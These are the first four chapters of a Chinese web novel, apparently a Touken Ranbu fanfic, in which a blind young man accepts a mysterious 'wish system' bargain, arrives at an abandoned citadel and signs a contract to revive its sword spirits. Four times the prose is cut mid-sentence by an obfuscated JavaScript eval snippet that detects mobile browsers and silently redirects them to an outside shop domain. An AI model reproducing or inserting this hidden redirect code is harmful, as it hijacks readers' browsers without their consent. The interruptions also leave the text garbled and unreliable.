《[综]存活的一百种方式》 1. 长夜 绫小路望是一个喜欢在晚上出门的人。 他虽然不知道晚上具体是什么样子,对此也只有一个模糊的概念,但小时候在乡下认识的朋友曾经跟绫小路望说过,晚上是黑的,一片漆黑,只剩下点点路灯。 是安静的, 也是黑的,就跟他的世界一样。 没错,绫小路望只能看到黑色。 是没有深浅,没有边界的黑。 在晚上出门,总会让绫小路望在心里感觉自己和旁人没什么区别,大家的视野里都是一片漆黑,或许所有人在那个时候都什么也看不见吧。 从绫小路望有记忆开始,他就是个瞎子。 但有一件很神奇的事情。 他知道“看不见就是黑”。 一般来说先天性全盲的人其实不知道黑色是什么样的,他们的大脑无法认知和处理这些信息。他们的世界其实是一片虚无,而不是“黑”。 但绫小路望就是知道。 他知道他“看”到的是黑色。他还知道血的颜色是红色,阳光也是红色的。 有时候,一个人坐在街上,绫小路望会产生一种错觉。 ——他应该是能看到的。 为什么他会知道“黑色”呢?是谁在他的脑海中种下了这个认知? 会不会他以前,其实见过色彩呢? 只是他忘了。 以前的记忆早就模糊了,又或是对绫小路望这样一个瞎子来说,就算还记得,也没有任何用处。 他的世界有自己一个人就好了。 绫小路望总是会产生自己其实不是一个瞎子的想法。 他会想,如果不是一个瞎子,他现在会在做什么? 充满阳光的校园生活是绫小路望一辈子都触及不到的奢侈。比起旁人轻而易举的认知某个事物,没有视觉的绫小路望需要靠其他感官帮忙才能认识一样东西。 ——光是熟悉家附近的每一条街道都花费了他快要半年的时间。 身上的青紫会帮他记忆,地面的崎岖会给他提示。 好想看到世界啊。 绫小路想, 好想……看到光啊。 就算是一瞬也好。 “什么都愿意付出吗?” 脑子里冷不丁响起一道冰冷的机械音,突兀又清晰,划破了绫小路望杂乱的思绪。 浑身一颤,指尖失力,绫小路望吓得将导盲杖掉在了地上。顾不得蹲下身摸索导盲杖的去向,绫小路望试探地把手放上额头。 不热,体温很正常。 他没发烧,怎么会出现幻听? 是因为自己太想变成一个正常人了吗? 似乎是因为没有等到回答,那个声音再次响起,语气没有丝毫起伏: “如果可以让你看见这个世界,什么都愿意付出吗?” 谁在说话? 声音……是脑子里的? 屏住呼吸,但绫小路没有做任何回应。 听着耳边过路行人的脚步声,为了不让其他人觉得他此时行为怪异,绫小路望缓缓蹲下,试图搞清楚自己身上发生了什么。 “你是谁?” 嘴唇几乎没有动,微弱的声音从绫小路望口中传出。他低着头,黑色的发丝刚好盖住了上半张脸的表情。 其实他更想问“你是什么东西”,但直觉告诉绫小路望对这个声音还是礼貌一点比较好。 “你可以称呼我为愿望系统。” “想要看见这个世界,变成一个正常人吗?我可以帮你。” 虽然有些不应该,但绫小路望第一时间就心动了。 “我需要付出什么?” 绫小路望问到。 他知道,这个世界上从来都不存在天上掉下来的馅饼。 更何况从一开始,这个声音就在让他付出代价了。 他身上有什么值得拿走的吗? 绫小路望不清楚,但他十分期待。 死去的父母给他留了一大笔财产和一套房子。唯一有血缘关系的舅舅平时工作繁忙,并不怎么关注他,平时也见不到人,只有葬礼那天“见”到过。 现在这位舅舅只会每个月定时打一笔数额不小的钱过来作为生活费。绫小路望并不需要,但他欣然接受。 该是他的,就必须是他的。 虽然经济自由了,但绫小路望因为身体原因无法正常出门,长久以来有些抗拒社交。 他并不喜欢成为其他人口中需要特别关注、照顾的对象。这会让他觉得自己是个异类,是个被排斥的人。 绫小路望说不上来这样的念头到底是因为什么才诞生,又是何时诞生的,反正等他发觉的时候,他的社交关系已经一发不可收拾了。 这样的生活,绫小路望并不觉得有什么值得拿走的。 钱吗?对他一个瞎子来说,再多的钱也不能让他用眼睛认识到这个世界。有能够活下去的钱就够了。 所以,为了他从未接触过的世界, 绫小路望很干脆地答应了系统。 “我愿意付出任何,只要能让我用眼睛看见这个世界。” 就算最后能让他看见这件事是假的,绫小路望也很想知道,自己这样什么都看不见,行动不方便的家伙,还有什么价值可言。 “好的。” 系统沉默了一下,最后确认,“宿主“望”,绑定成功。” “任务开始,请放松身体,闭上眼睛。” 说到最后一个指令的时候,绫小路望能够感受到那道电子音沉默了一下。 他能够理解是为什么,但绫小路望并不在乎,反而觉得这个系统说不定会有人情味? 系统也会拥有良心又或是怜悯吗? 绫小路望因为自己的想法轻笑了出声。 下一秒,原本蹲在地上的少年连同那根滚落在地上的导盲杖,一起消失在了原地,只剩下一地落叶。 路过的人像是没看见一样,只觉得一阵清风拂过,天空似乎更清澈了。 “定位中……定位成功,投放开始。” “请存活下去,找到真相。” “nozomi。” 声音消散在绫小路望的脑中。 不知道为何,他总觉得,由电子音说出的名字,充满了悲伤。 * 脚下骤然一空,重心失衡,绫小路望没能稳住身子,膝盖接触在柔软的由枯枝败叶堆积的泥土上,绫小路望握紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520957|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的导盲杖,没有选择支撑着站起来,而是摸索着身边的任意东西。 ——对他来说,站太高并不是什么好事,当务之急是检查环境。 将摸到的落叶轻轻碾压,脆生生的叶片化为稀碎的渣末,从指缝中滑落。用力往下按,手掌处传来丝丝湿意。 草地?森林? 没有被阳光直射的感觉,只有脸颊偶尔被阴凉的风擦过,绫小路望判定自己应该身处一片林子内,树木高大,至少能遮盖住他。 这里安静得可怕。 没有林间本该有的鸟鸣,又或是小动物穿梭在草丛间发出的细碎声响。绫小路望只能听到自己心脏沉闷的跳动声,一片死寂,让人心慌。 ……这里是哪里? 没有人能回答他的疑问。 “系统?”他开口,“接下来做什么。” 什么存活,什么找到真相,他不太懂。 他需要一个更加具体的任务,一个用人话表达的任务。 系统没有声音,就像是一下子从他的脑中消失,任凭绫小路望怎么呼唤,都不出现。仿佛之前的一切都只是绫小路望臆想出来的幻觉,但周围的环境又告诉他这一切都是真的。 所以他这是被拐了吗? 绫小路望不知道自己此时应该生出什么样的情绪。他简直要被自己气笑了。 早知道瞎就瞎了。 绫小路望想, 这个世界上现在还有比他更无助的人吗?人生地不熟,还看不见。 虽然这一切都是他主动达成的,怨不了任何人。 天上没有掉馅饼的好事,所以这就系统所说的,是他需要付出的代价吗? 算了,先看看附近有没有人吧。 良久,绫小路望轻轻叹了口气。 既来之则安之,对他来说,在哪活着不是活着。 他在心里这样安慰自己,慢慢站起身,导盲杖敲在地面或树干上,发出沉闷的响声,回荡在这一片空间中。 走到某一处,绫小路望停下脚步,屏气凝神,侧头倾听。 远处似乎有水声。 绫小路望心头瞬间一动,当即打定主意,决定过去看看。 不然没水没食物,又没有其他人的话,用不了三天他就会死在这。而且如果是河或者湖,里面说不定还有鱼,食物来源也解决了。 绫小路望也不知道自己能不能抓到鱼,抓到鱼之后他又该怎么摸索着生火,一切都是他从未尝试过的。 但他需要先过去,别无选择。 ……希望路不要太远,他已经有些累了。 因为从小失明,从来没有走过远路的绫小路望这样想到。 他的小腿已经开始有些酸软了。 为了避免被地上的石头突然绊倒,绫小路望一只手用导盲杖探路,一只手轻轻扶在树干上,接着粗糙的树皮保持平衡,一点点地朝着他听到的水声传来的方向挪动过去。 耳力很好的绫小路望并没有发现,有一道脚步声被掩盖在导盲杖的敲击声之下,一直跟他保持着一样的距离,不远不近,刚好不会被他发现。 那脚步极轻,极缓。 金色的发丝一闪而过。 像是错觉。 2. 本丸 虽然花的时间有些久,绫小路望最后还是顺利地走到了河边。 脚下的枯枝败叶渐渐被湿润的泥土取代,导盲杖敲击地面的声响也从沉闷的闷响变成了清脆的水花声。 顾不得什么注意干净卫生,绫小路望蹲下身,将双手探进水中。他感觉自己口干舌燥,额头上密密麻麻地汗珠也在叫嚣着这具身体需要补充水分了。 绫小路望常年不出门体力本就差,这么一段路走下来更是面部微微发白,气喘吁吁,整个人透着一股久病缠身的虚弱感。 当然,绫小路望自己并不会知道。 就算知道了,他也无所谓。 谁会指望一个残疾人身体好呢? 稍微平复了自己的呼吸,绫小路望刚准备离开这,意外突然发生。 绫小路望突然感觉一阵头晕,上半身微微晃了晃,脚也踉跄了一步,下一秒就要倒进面前湍流的河内—— 完了,绫小路望想,他不会游泳,希望河水不要太深。 但他被接住了。 看不到面前人样貌的绫小路望只感觉发尾轻轻扫过他的面部,又垂落在他下意识弯曲的手臂上,凉丝丝的。 女孩子? 绫小路望能感觉到扶住他的人比他矮了大半个头,所以是一个年纪不大的小孩。 那人帮助绫小路望重新站直,松开了手,没有说话,但绫小路望能够感觉到有一道视线一直停留在他的身上,尤其是眼睛的部位。 绫小路望微微攥紧了手,开口道:“谢谢。” 那个人还是没有说话,依旧盯着绫小路望的面部打量着。 绫小路望不是很喜欢这样的感觉,微微侧头:“抱歉,吓到你了吧。” “我看不见,如果刚才真的掉进水里会很麻烦,太感谢你了。” 绫小路望的墨镜并没有跟着过来,他以为是自己异样的双眼吓到小孩子了。 “……不用谢。” 细弱得像是被从喉咙中挤出来的声音,带着沙哑和生涩,好久没有说过话一般,咬字也不是特别清楚。 绫小路望有些诧异,虽然声线有些尖锐,但能听出是一个男生。 “请问你知道这里是哪里吗?” 绫小路望并不算一个对小孩子有耐心的人,但直觉告诉他,能出现在这里并且救下他的人绝对不会普通。 绫小路望试图让自己在说话的时候显着友善。 依靠系统是没有用的,绫小路望只能牢牢记住那几个任务。 要活下去。 他可以先跟着当地人活下去,再去思考系统让他找到的“真相”是什么,总归不会离开这片土地。 但绫小路望的问题并没有得到回答,他不免有些失望,是因为自己这个陌生人让小孩子升起了警惕吗? 好吧,看来这个小孩子家教不错,不要随便跟陌生人搭话。 正想开口说些什么缓和气氛的时候,没有拿着导盲杖的那只手突然被冰凉的东西覆盖了,绫小路望感觉到一股力想拽着自己往前。 好冷,是身体不好吗? 绫小路望意识到是救了他的小孩子在带着他,没有抗拒,他放松了身体,跟着力道向前走,时不时用导盲杖判断是否能迈出下一步。 小孩子很照顾他,一步一步缓缓向前,也不会开口催促绫小路望走快点,甚至耐心地等绫小路望自己判断前面是否有障碍物。 他被带到了一个山洞中。 入手是光滑的冰冷的石壁,小孩子把绫小路望带到干草垫上,把绫小路望的手往下拉了拉,让他坐下。 “为什么要带我来这?” 难不成他来到了一个原始世界? 听着耳边的石块敲击声,绫小路望猜测道,难道这里是这个小孩子住的地方。 一路上都在沉默的小孩子终于说出了遇见绫小路望后的第二句话,“要晚上了,不安全。” “这里是你家吗?” 又是一阵沉默,但这次绫小路望在沉默过后得到了回答。 “是……但也不是。” 绫小路望能感觉到小孩子坐在了他的面前,声音还是一如既往得轻,“审神者大人,如果您误入了这里,我会在明天白天将您送走。” 嗯? 审神者大人? 绫小路望感觉自己以前似乎听过类似的称呼,不过不是称呼自己的。 是在哪里呢? 他好像不记得了。 “审神者指的是我吗?” 小孩子没有再说话,这是默认的意思了。 “为什么叫我审神者。” “……因为您身上有灵力,有灵力并能进入时空夹缝的人,都是审神者。” “灵力又是什么?” 一问一答下来,绫小路望感觉自己的疑问不减反增,一个又一个的名词砸进他的脑中,让他的大脑宕机了一下。 他虽然不是纯粹的唯物主义者,但如果是自己身上有超能力的话…… 绫小路望觉得自己一时半会儿有些不能接受。 如果他有特殊能力的话,为什么会是个瞎子呢? 所以是因为那个系统吗。 “灵力是您与生俱来的,因为你而产生的。”小孩子说道,但绫小路望总感觉他有话没有说完,“只有审神者才有资格进入时空夹缝,您是跟狐之助走散了吗?” “狐之助?我没有遇见过那种东西。”绫小路望想了想,“是有一个让我来这,我就到这了。” 总不能出现在他脑子里的声音就是狐之助吧。 他看不见,万一那个系统其实有着一副狐狸的样子呢? “那大人是来接手这个本丸的吗。”小孩子的声音比刚才紧张了不少。 绫小路望有些不知道话题是怎么跳转到这的,本丸又是什么? 而且“接手”这个词,听起来可不太妙。 “可以跟我介绍一下具体情况吗。”绫小路望笑了笑,“抱歉,除了我怎么来到这里之外,其他的我都有点听不懂。” 小孩子似乎愣住了,一时间沉默在他们之间蔓延。 良久, “……虽然可能有些不太正式,但我会为您介绍,审神者大人。” 西历2205年,“历史修正主义者”为了改变历史而开始攻击过去的时代。为了讨伐逆军,“时之政府”派遣了从不同时空不同时代的众多“审神者”。 “审神者”是能够用灵力唤醒沉睡之物内心的思念,使之觉醒并拥有战斗的力量的人。时之政府的研究人员让刀剑男士降下不同分灵进入审神者们的本丸中,由审神者的灵力唤醒。 审神者并不能长期待在过去的某一时空,本丸便是他们的居所。本丸依托审神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520958|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者的灵力而诞生,因为审神者能力的独特性可以长期滞留在时空夹缝之中,不被敌军打扰,同时也方便观测历史,及时派出刀剑男士维护历史。 但审神者这个职业同时伴随着危险,时之政府发布的任务有时候需要审神者亲自前往历史时空。 失去审神者的本丸会陷入沉睡,依靠残留的灵力保护不被敌军入侵,直到迎来下一个审神者。 而此时此刻坐在绫小路望面前的小孩子,也是一位刀剑男士,粟田口派的短刀,乱藤四郎。 也是整个本丸中目前还没有变回本体的刀剑男士。 绫小路望听懂了。 所以他现在所在的,就是一个失去了审神者的本丸。 “需要我做什么吗?”绫小路望问到。 “什么?” 乱藤四郎显然没想到在接收了这么多信息后,绫小路望的第一句会是这个,“审神者大人您要留在这吗?” “你刚才也说,残留的灵力可以让这个地方不被攻击,”绫小路望顿了顿,“那为什么晚上会危险呢?” 这和乱藤四郎之前说的话有些自相矛盾了。 “上一任审神者残留的灵力要不够了吧。” “我知道,你看我是个瞎子,担心我会在任务里出事。”这个本丸上一任审神者是怎么离开的很容易就能被推断出来,“审神者应该也不是所有人都有能力出任务吧,总有一直待在后勤的人,我可以做后勤。” 乱藤四郎并没有被绫小路望的话说动:“我们本丸评分太高,高评分本丸的审神者大人必须要亲自前往历史时空。” 这样啊。 “不能申请吗?” 绫小路问道。 “我并不清楚,审神者大人,这些以前都是其他人在管理。”乱藤四郎摇头,“虽然不知道是谁把您哄骗到这里,趁着本丸还剩一点灵力可以用作通讯,审神者大人请尽快离开这吧,我保护不了您太多时间。” 绫小路望能从乱藤四郎身上感受到很多情绪,尤其是麻木。 “那你呢,灵力用完后你也会陷入沉睡,本丸也会被攻破,你们又该怎么办?”绫小路望忍不住问道。 “应该是回归本体吧,”乱藤四郎笑了,“审神者大人,这并不是一件难过的事情,与其在这痛苦的沉睡,回归本灵反而是一件幸福的事情。” “这是不对的。”绫小路望反驳道。 “回归本灵之后,你们的意识和记忆会消失的吧,虽然不清楚具体是什么情况,但一个身体里应该很少会允许有不同想法。” “被审神者唤醒……你们应该很喜欢上一任审神者吧,不然你也不会清醒到现在,一直守护本丸。” 对面的人没有再说话,绫小路望知道自己说对了。 “你难道不想保留和审神者的记忆吗?” “我当然想!” 乱藤四郎急促的声音响起,“但……” “不管你怎么说,我都不会离开这的。”绫小路望打断了他, “既然我已经被送到这了,所以请告诉我该怎么做吧。” “我们一起守护你们的回忆,好吗?” 不能离开这。 虽然不知道为什么,系统想让他成为审神者,所以他必须要试一下。 为了光明。 绫小路望想到,面上笑得很温和 3. 愿意 存活下去啊……这个任务还是真够困难的。 存活下去的判定会是什么?活下去就好了吗? 这是否意味着这个本丸已经被危险入侵了,只是乱藤四郎不知道而已。 虽然看不到,但从乱藤四郎的口中,绫小路望几乎能够想象出这是什么场景。 一定是一个充满了破败与死气的地方吧。 绫小路望已经不打算去思考自己为什么能够想象到这些了,说不定是所谓的灵力带给他的呢? 万一他真的是一个天赋异禀的瞎子? 他被自己的想法逗到了。绫小路望努力憋笑,肩膀带动着上半身一颤一颤地,一时半会儿停不下来。 乱藤四郎从开始介绍时就再也没抬起过头,不知是心虚还是愧疚,乱藤四郎不知道该怎么看着这个误入本丸的可怜人说出实情。此时透过发丝看见绫小路望的动作,以为他的颤抖是在害怕。 是因为他而害怕的吗? 是因为怕他不答应吗? 他可是刀剑男士啊,怎么可能反驳审神者的话,更不能让审神者害怕。 乱藤四郎不想让任何一个审神者对刀剑男士产生害怕的情绪,而且…… 虽然心里对审神者留下会有危险的担忧还在,乱藤四郎松了口:“审神者大人真的愿意和我们本丸签订契约,成为我们本丸的审神者吗。” 这是最后一遍了。 乱藤四郎想。 他不会再确认了,最后一次确认。 只要这位陌生的审神者大人答应下来,本丸的同伴和兄弟们就有救了。 还没有正式签订契约,乱藤四郎只能感受出绫小路望拥有灵力。虽然没有具体接触,但只是隐约透露出的感觉就让乱藤四郎鼻子一酸。 是天注定吗? 时隔十几年,乱藤四郎再一次感受到了温暖、强大的灵力。 第一眼见到这位审神者的时候,仅仅是背影,就让乱藤四郎产生了一种“这是他们的审神者”的感觉。 拜托了,再说一遍。 乱藤四郎在心里祈求着。 就让他自私一次吧,他会用生命保护好审神者的。 他想见到兄弟,他不会让他们本丸的审神者再受伤了。 “是的,我愿意。” 绫小路望坚定地回答道。 乱藤四郎感觉自己的身上顿时轻了不少,他突然好想抱住面前的审神者,突如其来的冲动念头止也止不住。 于是,他决定顺从自己的内心。 绫小路望只感觉有什么东西闯入他的怀中,布料摩擦的声音传入耳中,胸前的衣服被液体慢慢打湿,就算看不见,绫小路望也能瞬间明白发生了什么。 哭了啊。 他没有犹豫,缓缓抬起手,轻轻环抱住乱藤四郎,掌心覆盖在那张颤抖着的背上,轻声安慰道:“这么久以来,辛苦了。” 怀中的人僵了一下,随即哭出了声。没有具体语句,只是含糊不清的语气词,想是把这些年默默吞下的孤独与委屈一并发泄出来一般。 绫小路望不知道怎么才能有效的安慰人,只好一下一下地轻拍着乱藤四郎的背部,笨拙地哄小孩一般,等待他收拾好自己的情绪。 原来刀剑男士会哭啊,他们不是冷兵器吗? 绫小路望想,乱藤四郎因为本体是短刀,才会以小孩子的形象面世,心理年龄也会被影响变成小孩子吗? 真神奇。 绫小路望对时间的流逝没有什么概念,他只是静静地坐在那里,任由哭声渐渐平息,直到乱藤四郎从他的怀中离开。 “审神者大人。”乱藤四郎的声音依旧沙哑,却透露着少年人声线独有的清脆,像是雨后的风铃,仿佛卸下了一个沉重的担子,语调变得轻快起来,“夜晚到了,轻好好休息,今晚我会为您守夜。” “那……” “一切都等到明天说吧。”在乱藤四郎故意动作下,他身上的配饰发出清脆的碰撞声,“让我们一起度过一个安全的夜晚吧,审神者大人。” 紧接着,乱藤四郎像是忽然想起了什么,语气中带着几分撒娇意味: “去见过了曾经的京中,现在归来——是属于审神者的乱藤四郎!怎么样,有没有对我刮目相看?要把我放在身边哦!” “一切都交给我吧。” 绫小路望感觉自己被人轻轻放下,背后是干燥柔软的草堆,似乎被人细细打理过,一点也不会感到刺挠。 他渐渐沉入梦乡。 * 绫小路望是被远处物体落地的声音惊醒的。 昨天发生的事情有些不真实,但绫小路望身下柔软的干草将他拉回了现实——正式和这个本丸签订契约。 只有签订契约,他才能成为被这个本丸承认的审神者,才能提供灵力给这个本丸,唤醒正在沉睡的刀剑男士们。 用手肘支撑着想要坐起身,绫小路望手臂刚用力,就提前一步被人扶住,托着他的背部小心翼翼地帮他坐了起来。 是乱藤四郎。 帮大忙了,绫小路望想。 判断出乱藤四郎所在的方向,绫小路望侧头对着他笑了笑,“谢谢,乱。” “这是我应该做的,审神者大人。”乱藤四郎的声音听不出疲惫,比昨天多了些活力,“我刚才去河边抓了点鱼,审神者大人吃烤鱼吗?” 刀剑男士的服务都这么贴心吗? 绫小路望的心里微微一动。 其实他还有些一知半解,可此刻,面对着这份关心,绫小路望顺着话答应了下去:“麻烦你了,乱。” 山洞里很快就响起火焰接触干草的噼啪声,以及烤鱼的香气,顺着从洞口传入的风钻进绫小路望的鼻子里。 闻起来很不错。 也是,毕竟乱藤四郎一个人生活了这么多年,肯定是会做饭的。 绫小路望并不知道,刀剑男士们根本不需要进食,对他们来说有灵力就能保持人形,食物只不过是他们贴近审神者生活的一种方式而已,从来都不是必需品。 “有些烫,审神者大人。” 就在他放空自己大脑的时候,一股热气贴近了绫小路望的脸,乱藤四郎来到绫小路望的身边,“需要我喂审神者大人吗?” 乱藤四郎的语气很自然,但听得人有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520959|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太自然。 绫小路望想象不到自己被一个小孩子喂饭的场景,再说了,只是瞎了又不是手废了,绫小路望还没有到别人喂他的地步。 “我自己可以。”他干巴巴地说道,从乱藤四郎手中有些手忙脚乱地接过了烤鱼。 没有盐,但乱藤四郎不知道用了什么香料,把鱼的腥味掩盖下去,只剩下炙烤的香味。 “要怎么才能签订契约?”咽下口中的鱼肉,绫小路望问道。 “我们现在所在的是本丸的后山,”乱藤四郎想了想,回答了绫小路望的问题, “契约装置在本丸中庭,出阵使用的时空转换器也那里。等下我会带审神者大人去那里,审神者大人只需要对着契约输入灵力就行,检测到灵力后天守阁内的刀帐第一页会出现您的相关灵力信息。” 出乎意料的简单。 绫小路望点头,在心里记下了这个流程。 输入灵力啊…… 绫小路望握了握自己的手。 老实说,他感受不到什么灵力。 希望最后的结果不会让人失望。 并没有什么需要收拾的东西。 出发前,乱藤四郎再一次拉住绫小路望的手,带着他走。他们走路的速度比昨天乱藤四郎带他来山洞时还要慢,“我们需要走一段下山的路,不方便的话我可以背审神者大人。” 背? “不会不方便吗?”愣了一下,想到二人之间的体型差距,绫小路望有些迟疑。 虽然他看起来可能有些弱不禁风了一点,但身高在那,乱藤四郎背自己应该不太现实吧……? 然后绫小路望就被乱藤四郎演示了一下如何背起他。 乱藤四郎微微下蹲,双手向后一伸,做出了一个标准的、稳稳的背起姿势,动作利落又熟练,很轻松地就把绫小路望放在了自己背上。 “等下!”绫小路望有些慌乱,但又怕打到乱藤四郎,握着导盲杖的那只手僵在半空中,不敢有半点动作,“我自己走吧。” 本来就已经失去视觉了,如果脚再离地的话,绫小路望本就所剩无几的安全感恐怕要彻底消失不见了。 “好吧,”乱藤四郎叹了口气,“如果累了,又或是难受了,请审神者大人跟我说。” “我不想审神者大人受到伤害。” “我会小心的。”脚下有了实感,绫小路望松了口气,“谢谢照顾我,乱。” “都说了,这是我应该做的。”乱藤四郎低着头,将可能会被绫小路望经过的路上的石头全部踢到一边的灌木丛中,“审神者大人要早点习惯哦。” “我的兄弟们可是很喜欢撒娇的。” 说这话的时候,乱藤四郎的语气里充满了自豪。绫小路望并不了解乱藤四郎口中的兄弟,但是看乱藤四郎的样子,应该也是一群可爱的小孩子吧? 希望不要太过吵闹,也不要对他太好奇。 绫小路望不想让自己的眼睛吓到别人。 契约结束之后,再问问乱藤四郎本丸里有没有多余的墨镜好了。找块布也行,反正他也看不到自己的样子,只要不把眼睛露出来就行了。 4. 契约 乱藤四郎口中的契约装置早已落了灰,失去了原本的光泽,被隐藏在肆意生长的杂草之下,好一会儿才找到具体位置。 “这个就是契约装置,审神者大人。”乱藤四郎引导着绫小路望将手放在上面,“输入灵力就好。” 是一个球体,表面摸上去坑坑洼洼,似乎受了不小的损伤。绫小路望甚至能感觉到指尖被一小块凸起划破,传来微弱的疼意。 乱藤四郎注意到状况,想要上来关心,但又怕打扰到绫小路望签订契约,硬生生止住脚步,只能咬着唇站在原地,眼睛一眨不眨地盯着绫小路望放在上面的手。 ……应该不会出意外吧? 乱藤四郎心里其实也没底。毕竟这个装置有十多年没有用过了,又曾经遭受过损坏,乱藤四郎也不确定能不能正常运行。 同样在焦虑的其实还有绫小路望本人。 毕竟在手放上去之前,他还是没研究明白灵力该怎么用,也没有感受到身体内的灵力。 绫小路望不是没有试图去询问过乱藤四郎,但从来都是作为被灵力输入的一方,也给不了绫小路望答案。 手指被划破的时候绫小路望还在内心暗喜,万一是滴血契约呢。 万一血里也含有灵力呢? 事实告诉绫小路望,他想太多了。 手底下的东西毫无动静,甚至没有被绫小路望的温度传染,依旧冰凉。 “系统?” 仗着乱藤四郎站在远处,绫小路望的口型几乎没有变化,声音轻到很容易就能飘散在空中,“我该怎么输入灵力。” 他不抱希望地做出尝试。 系统肯定是让他来这里成为审神者的,绫小路望确信。 如果系统真的是让他来拯救这个本丸,唤醒沉睡的刀剑男士,那么绫小路望不仅要知道怎么使用灵力,还需要知道怎么让灵力进入手下的装置中。 就如绫小路望猜测的一样,下一秒,熟悉的声音响起,是不容置疑的指令。 【放松,深呼吸,用触觉去感受它。】 绫小路望照做 【最后轻推。】 绫小路望不知道需要多轻,只能让指尖从表面上离开,只剩手掌还接触着装置。 接下来轻轻一推—— 乱藤四郎瞪大了眼睛。 以古朴的契约装置为中心,一股温和却磅礴浩荡的灵力悄然漫溢开来,无声席卷整座本丸。 地面上和角落内堆积已久的浮尘、碎石与枯败杂草,尽数被灵力拆解成密密麻麻的细微颗粒,升腾至半空,顺着风缓缓浮动,转瞬便消融在澄澈空气里,不留半点残渣。往日崎岖的表面也在灵力的作用下被抚平,重新焕发出平整温润的光洁质感。 常年暗沉发黄、荒芜的地皮也被点点绿色覆盖,身边的枯枝长出新芽,一切旧日的破败都在瞬间被抹去,像是一场风暴席卷了整个本丸,每一寸都焕发生机,入目皆是暖意。 而造成一切的人却静静站在风暴中央,没有受到任何影响。 眼前的人影和乱藤四郎回忆中的人逐渐重叠在一起,不由得双眼发酸。但身体里焕然一新的灵力无比清晰地提醒着他,这是他们的新审神者,是他未来效忠的对象。 不能再沉溺回忆了! 乱藤四郎在心里告诉自己,悄悄压下眼中翻涌的湿意。 这是最后一次了,不许再这样了! 他不想让面前这个失明却仍愿意释放善意的少年伤心。 从今往后,满心只向新主。 乱藤四郎在心里做出承诺。 “审神者大人?” 见绫小路望还是站在原地,乱藤四郎如梦初醒,上前轻声说道,“我带您去天守阁查看刀账?” 此时绫小路望正在尝试在脑中和系统说话。 在刚才“推”的瞬间,绫小路望能感觉到有什么东西被从自己的体内抽走,掌心微微发热,像是有一根根线把他的手和契约装置链接在了一起。 失去感是很明显的,虽然从乱藤四郎的视角看绫小路望依旧站着,但他已经将整个人的身体重心放到了契约装置上。 ——因为大一点的物体比较好支撑。绫小路望怕导盲杖跟着他一起摔了。 看不见的他自然不知道外界发生了什么,只知道他的力气正在从身体内流走。绫小路望不确定这是否是对的,只好在脑内和系统交流起来。 ——系统都能直接在他脑子里讲话,为什么他不行呢。 他才是他的脑子的主人! 【我快撑不住了,有什么办法吗?】 但系统就跟昨天一样,再一次消失了。 绫小路望不信邪,张口又重复了一遍,还是没有得到回应。 “系统?系统?” 脑中的声音继续装死。 就冲刚才能够在第一时间告诉他灵力的使用方法,绫小路望判断这个系统肯定看完了全程,昨天刚到这的时候也在,只是不想帮忙而已。 没办法,绫小路望只能等乱藤四郎过来扶他。 要是让他自己行动,先不说手还能不能拿稳导盲杖,万一被地面上突出来的石头绊倒,能不能杜绝脸朝下还是个问题。 “可以扶我一下吗,乱。” 听到乱藤四郎的话,绫小路望的手没有从契约装置上松开,“好像有点累了。” 乱藤四郎没有多想,他知道使用灵力会耗费体力,内心感叹了一下审神者身体果然不是很好后上前扶住绫小路望,帮助他将重心靠在自己身上。 “审神者大人还能行动吗?”乱藤四郎小心翼翼地带着绫小路望离开了原地。 和本丸的契约成立之后,一旁的时空转换器也恢复了正常,乱藤四郎怕靠太近会启动时空转换器。 现在的他和审神者如果直接去往历史时空的话,等着他们的只有死路一条,一切还是小心为上比较好。 本丸内还是危险的,毕竟都十几年没用过了,万一有什么毒蛇猛兽呢。 这些年乱藤四郎常住后山,很少来到这里,不清楚具体情况。 刚才的灵力只是冲刷了本丸表面,其余的还需要他们一点点修复。包括沉睡的的刀剑男士,也需要绫小路望找到他们,手握本体将他们重新唤醒才行。 绫小路望感觉自己的腿有点麻,在乱藤四郎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520960|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助下稍微动了动,这才缓了过来:“现在去吧,早点完成我们都放心。” 